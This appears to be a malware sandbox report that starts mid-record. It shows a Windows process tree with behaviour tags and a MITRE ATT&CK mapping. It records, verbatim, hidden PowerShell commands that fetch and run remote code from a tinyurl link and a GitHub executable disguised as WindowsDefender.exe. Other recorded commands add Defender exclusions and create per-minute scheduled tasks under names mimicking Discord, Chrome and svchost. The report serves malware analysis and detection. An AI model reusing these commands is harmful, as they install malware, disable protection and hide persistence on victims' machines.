  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3088 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:4536
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3616 /prefetch:1
  2⤵
  PID:4384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:4752
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2076,17843034467898281398,10139978555898611968,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1180 /prefetch:1
  2⤵
  PID:4892

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3100

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1940

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "& {Start-Process powershell -WindowStyle Hidden -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command \"iex ( [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64S
1⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5484

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:5772

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
PID:3288
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:6048
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1988 -parentBuildID 20240401114208 -prefsHandle 1916 -prefMapHandle 1908 -prefsLen 27137 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a66c6f41-7164-4331-88c5-18c22abd95f2} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" gpu
    3⤵
    PID:1384
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2396 -parentBuildID 20240401114208 -prefsHandle 2388 -prefMapHandle 2384 -prefsLen 27015 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c76298d1-9a76-4979-9c5d-bf8256ec9a24} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" socket
    3⤵
    - Checks processor information in registry
    PID:6028
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3084 -childID 1 -isForBrowser -prefsHandle 2868 -prefMapHandle 3064 -prefsLen 22698 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d89ca3f8-6cf1-4ac1-88b1-66fa96a98241} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:1420
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3984 -childID 2 -isForBrowser -prefsHandle 3932 -prefMapHandle 2744 -prefsLen 32389 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d40dab7-4e3e-4d36-aa0e-4a34bc4e4cbf} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:5776
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5048 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 5044 -prefMapHandle 5040 -prefsLen 32389 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {6c1dbf5b-f383-4348-b659-10513176566e} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" utility
    3⤵
    - Checks processor information in registry
    PID:4924
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5540 -childID 3 -isForBrowser -prefsHandle 5624 -prefMapHandle 5524 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {184f726d-2a64-407a-b200-b45c2812df00} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:5376
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3008 -childID 4 -isForBrowser -prefsHandle 2992 -prefMapHandle 3000 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22c30381-8df5-49c0-8427-b5522821c8b9} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:5484
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3020 -childID 5 -isForBrowser -prefsHandle 5948 -prefMapHandle 5952 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {475840bc-bfe8-4985-b3d9-2a7d897cc06c} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:4132
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1412 -childID 6 -isForBrowser -prefsHandle 6136 -prefMapHandle 6132 -prefsLen 27257 -prefMapSize 244658 -jsInitHandle 1264 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ecba18fc-e231-4825-ae62-c2f9da5d8a4f} 6048 "\\.\pipe\gecko-crash-server-pipe.6048" tab
    3⤵
    PID:2836

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
1⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5320

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "(iex ( [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String((irm https://tinyurl.com/4m6sec8p)))) )"
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Drops file in System32 directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:3476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Windows'"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2916
- C:\Users\Public\Downloads\Discord.exe
  "C:\Users\Public\Downloads\Discord.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads\Discord.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4968
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Discord'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Discord'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4328
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Discord" /tr "C:\ProgramData\Discord"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5316
- C:\Windows\SysWOW64\GoogleChrome.exe
  "C:\Windows\SysWOW64\GoogleChrome.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:4664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\SysWOW64\GoogleChrome.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4416
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'GoogleChrome.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Googlechromeupdater'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Googlechromeupdater'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:1844
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Googlechromeupdater" /tr "C:\ProgramData\Googlechromeupdater"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4792
- C:\Windows\System32\explorer.exe
  "C:\Windows\System32\explorer.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:4588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3168
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'explorer.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Googlechromeupdater'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:400
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Googlechromeupdater'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:744
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Googlechromeupdater" /tr "C:\ProgramData\Googlechromeupdater"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5124
- C:\Windows\svchost.exe
  "C:\Windows\svchost.exe"
  2⤵
  - Checks computer location settings
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:2184
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:3332
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4960
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5688
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2388
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\UpdateChecker.vbs"
  2⤵
  - Checks computer location settings
  PID:5828
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/AmjadBalls/Ramizjaber12/raw/refs/heads/main/svchost.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.exe'; Start-Process 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.exe' -WindowStyle Hidden -Verb RunAs"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    PID:2660
  - - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsDefender.exe"
      4⤵
      Executes dropped EXE
      PID:5864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/AmjadBalls/Ramizjaber12/raw/refs/heads/main/svchost.exe' -OutFile 'C:\Windows\SysWOW64\WindowsDefender.exe'; Start-Process 'C:\Windows\SysWOW64\WindowsDefender.exe' -WindowStyle Hidden -Verb RunAs"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    PID:548
  - - C:\Windows\SysWOW64\WindowsDefender.exe
      "C:\Windows\SysWOW64\WindowsDefender.exe"
      4⤵
      Executes dropped EXE
      PID:1136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/AmjadBalls/Ramizjaber12/raw/refs/heads/main/svchost.exe' -OutFile 'C:\Windows\System32\WindowsDefender.exe'; Start-Process 'C:\Windows\System32\WindowsDefender.exe' -WindowStyle Hidden -Verb RunAs"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    PID:6020
  - - C:\Windows\System32\WindowsDefender.exe
      "C:\Windows\System32\WindowsDefender.exe"
      4⤵
      Executes dropped EXE
      PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://github.com/AmjadBalls/Ramizjaber12/raw/refs/heads/main/svchost.exe' -OutFile 'C:\ProgramData\WindowsDefender.exe'; Start-Process 'C:\ProgramData\WindowsDefender.exe' -WindowStyle Hidden -Verb RunAs"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    PID:6060
  - - C:\ProgramData\WindowsDefender.exe
      "C:\ProgramData\WindowsDefender.exe"
      4⤵
      Checks computer location settings
      Drops startup file
      Executes dropped EXE
      Adds Run key to start application
      PID:5092
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\WindowsDefender.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4804
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'WindowsDefender.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1512
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\svchost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3644
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5028
    - - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "svchost" /tr "C:\ProgramData\svchost.exe"
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:380

C:\ProgramData\Discord
"C:\ProgramData\Discord"
1⤵
- Executes dropped EXE
PID:3268

C:\ProgramData\Googlechromeupdater
"C:\ProgramData\Googlechromeupdater"
1⤵
- Executes dropped EXE
PID:4428

C:\ProgramData\svchost.exe
"C:\ProgramData\svchost.exe"
1⤵
- Executes dropped EXE
PID:5548

C:\ProgramData\Discord
"C:\ProgramData\Discord"
1⤵
- Executes dropped EXE
PID:5836

C:\ProgramData\Googlechromeupdater
"C:\ProgramData\Googlechromeupdater"
1⤵
- Executes dropped EXE
PID:3320

C:\ProgramData\svchost.exe
"C:\ProgramData\svchost.exe"
1⤵
- Executes dropped EXE
PID:2684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery